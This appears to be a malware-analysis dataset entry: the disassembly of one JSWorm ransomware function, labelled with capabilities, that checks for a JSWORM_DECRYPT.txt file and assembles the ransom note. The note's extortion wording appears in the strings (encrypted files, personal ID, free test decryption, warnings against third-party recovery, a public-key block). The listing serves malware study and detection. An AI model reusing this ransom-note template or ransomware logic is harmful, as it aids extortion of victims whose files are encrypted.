Function at 0x4037bb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x458068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.JSWORM_DECRYPT.txt
lea ecx, [ebp - 0xe0]
call fcn.00401560
lea eax, [ebp - 0xe0]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0xf8]
call fcn.004058f8
pop ecx
cmp dword [eax + 0x14], 8
jb 0x4037ff
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [ebp - 0xf8]
mov esi, eax
call fcn.004015e9
cmp esi, 0xffffffff
jne 0x403bee
push 0xc0
lea eax, [ebp - 0xc8]
push 0
push eax
call fcn.00423ad0
pop ecx
pop ecx
lea ecx, [ebp - 0xc8]
call fcn.004046b6
lea eax, [ebp - 0xe0]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0xf8]
call fcn.004058f8
pop ecx
cmp dword [eax + 0x14], 8
jb 0x40385a
mov eax, dword [eax]
push ecx
push ecx
push eax
lea ecx, [ebp - 0xc8]
call fcn.0040461d
lea ecx, [ebp - 0xf8]
call fcn.004015e9
mov edx, str.All_your_files_were_encrypted__r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.Your_personal_ID:
lea ecx, [ebp - 0xb8]
call fcn.00405938
cmp dword [0x48c31c], 0x10
lea ecx, [ebp - 0xb8]
push dword [0x48c318]
mov edx, 0x48c308
cmovae edx, dword [0x48c308]
call fcn.004060e5
pop ecx
mov edx, str._r_n_r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.____Contacts:_r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
cmp dword [0x48c34c], 0x10
lea ecx, [ebp - 0xb8]
push dword [0x48c348]
mov edx, 0x48c338
cmovae edx, dword [0x48c338]
call fcn.004060e5
pop ecx
mov edx, str._r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
push ecx
lea ecx, [ebp - 0xf8]
call fcn.00405ad1
pop ecx
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x403925
mov eax, dword [eax]
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.004060e5
pop ecx
lea ecx, [ebp - 0xf8]
call fcn.00401665
mov ebx, 0x4506a8
lea ecx, [ebp - 0xb8]
mov edx, ebx
call fcn.00405938
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.____What_should_I_include_in_my_message__r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.1._Country_r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.2._List_of_encrypted_drives_and_their_size_r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
push ecx
lea ecx, [ebp - 0x140]
call fcn.00405b22
pop ecx
mov edi, 0x450724
mov esi, eax
push edi
call fcn.00425e90
pop ecx
push eax
push edi
mov ecx, esi
call fcn.004016d4
push eax
lea ecx, [ebp - 0xf8]
call fcn.00401596
push 0x48c338
lea ecx, [ebp - 0xf8]
call fcn.004045a8
push eax
lea ecx, [ebp - 0x128]
call fcn.00401596
mov esi, str._.JSWORM__r_n
push esi
call fcn.00425e90
pop ecx
push eax
push esi
lea ecx, [ebp - 0x128]
call fcn.004016d4
push eax
lea ecx, [ebp - 0x110]
call fcn.00401596
cmp dword [ebp - 0xfc], 0x10
lea edx, [ebp - 0x110]
push dword [ebp - 0x100]
cmovae edx, dword [ebp - 0x110]
lea ecx, [ebp - 0xb8]
call fcn.004060e5
pop ecx
lea ecx, [ebp - 0x110]
call fcn.00401665
lea ecx, [ebp - 0x128]
call fcn.00401665
lea ecx, [ebp - 0xf8]
call fcn.00401665
lea ecx, [ebp - 0x140]
call fcn.00401665
mov edx, str.4._JSWORM_PUBLIC_KEY__below__r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.____Free_decryption_as_guarantee__r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.Before_paying_you_send_us_up_to_3_files_for_free_decryption._r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.We_recommeded_to_send_pictures__text_files__sheets__etc.__files_no_more_than_1mb__r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.____ATTENTION__r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.1._Do_not_rename_encrypted_files._r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.2._Do_not_try_to_decrypt_your_data_using_third_party_software__it_may_cause_permanent_data_loss._r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.3._Decryption_of_your_files_with_the_help_of_third_parties_may_cause_increased_price__they_add_their_fee_to__r_n
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str.our__or_you_can_become_a_victim_of_a_scam.
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str._______BEGIN_JSWORM_PUBLIC_KEY_______
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
cmp dword [0x458aa4], 0x10
lea ecx, [ebp - 0xb8]
push dword [0x458aa0]
mov edx, 0x458a90
cmovae edx, dword [0x458a90]
call fcn.004060e5
pop ecx
mov edx, ebx
lea ecx, [ebp - 0xb8]
call fcn.00405938
mov edx, str._______END_JSWORM_PUBLIC_KEY_______
lea ecx, [ebp - 0xb8]
call fcn.00405938
lea ecx, [ebp - 0xb0]
call fcn.0040564d
test eax, eax
jne 0x403bd5
mov eax, dword [ebp - 0xc8]
lea ecx, [ebp - 0xc8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmove edx, eax
push edx
call fcn.00403500
lea ecx, [ebp - 0x50]
call fcn.004045ee
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], vtable.std::ios_base.0
push eax
call fcn.00409ea9
pop ecx
lea ecx, [ebp - 0xe0]
call fcn.004015e9
lea ecx, [ebp + 8]
call fcn.004015e9
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b584
leave
ret